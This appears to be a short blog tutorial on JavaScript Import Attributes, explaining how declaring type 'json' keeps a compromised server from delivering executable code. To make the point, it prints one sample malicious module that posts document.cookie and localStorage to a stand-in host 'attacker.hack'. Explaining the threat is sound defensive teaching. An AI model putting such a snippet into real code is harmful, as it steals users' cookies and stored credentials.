JavaScript now includes Import Attributes, a feature that lets you explicitly declare what kind of module you’re importing. This addition brings enhanced security and clarity to module imports, particularly for JSON and other non-JavaScript modules.
❌ The Problem with File Extensions
When importing modules on the web, we can’t reliably use file extensions to determine module types. A server might send JavaScript code even when requesting a file with a .json
extension, potentially creating security risks:
import config from './config.json';
What you expect to get:
{ "accessToken": "secret-key", "refreshToken": "secret-key", "expiresAt": "2125-01-21T21:35:34.607Z"}
What a compromised server could send instead:
export default (function () { // Send your API keys to an attacker fetch('https://attacker.hack', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: window.localStorage }) });
// Then return what looks like normal config return { accessToken: 'secret-key', refreshToken: 'secret-key', expiresAt: "2125-01-21T21:35:34.607Z" }})();
💡 The Solution: Import Attributes
Import Attributes let you explicitly declare what type of module you expect, creating a contract that JavaScript environments must enforce:
// WITHOUT Import Attributes - potentially unsafeimport config from './config.json';// WITH Import Attributes - safe JSON importimport config from './config.json' with { type: 'json' };
💭 Where you can use Import Attributes?
The syntax works consistently across different import scenarios:
// Regular importsimport config from './config.json' with { type: 'json' };
// Dynamic imports work tooconst config = await import('./config.json', { with: { type: 'json' }});
// Re-exportsexport { apiKey } from './config.json' with { type: 'json' };
// Specify JavaScript moduleimport module from './module.js' with { type: 'javascript' };
// Web Workersnew Worker('worker.wasm', { type: 'module', with: { type: "webassembly" }});
📌 Key Benefits
- Security: When importing JSON modules, the
type: "json"
attribute guarantees you’ll receive either JSON data or an error - never executable code. - Consistency: Provides a standard way to handle different module types across all JavaScript environments.
- Extensibility: While JSON modules are the first use case, the syntax is designed to support future module types and additional metadata attributes.
- Cache Control: Hosts can use attributes as part of their module caching strategy, with the behavior defined by each environment.
⚙️ Practical Applications
- JSON Modules: The core use case of import attributes is to reliably load JSON modules. By specifying
type: "json"
you guarantee that the server delivers data as JSON, not potentially malicious code. - Dynamic Imports: Import attributes allow using dynamic imports (
await import()
) and control over module type, making them more flexible for various use cases.
🔮 The Future of Import Attributes
Import attributes are a crucial step towards a safer and more predictable JavaScript ecosystem. They’re expected to become part of ES2025 and will likely be essential for web development in the coming years.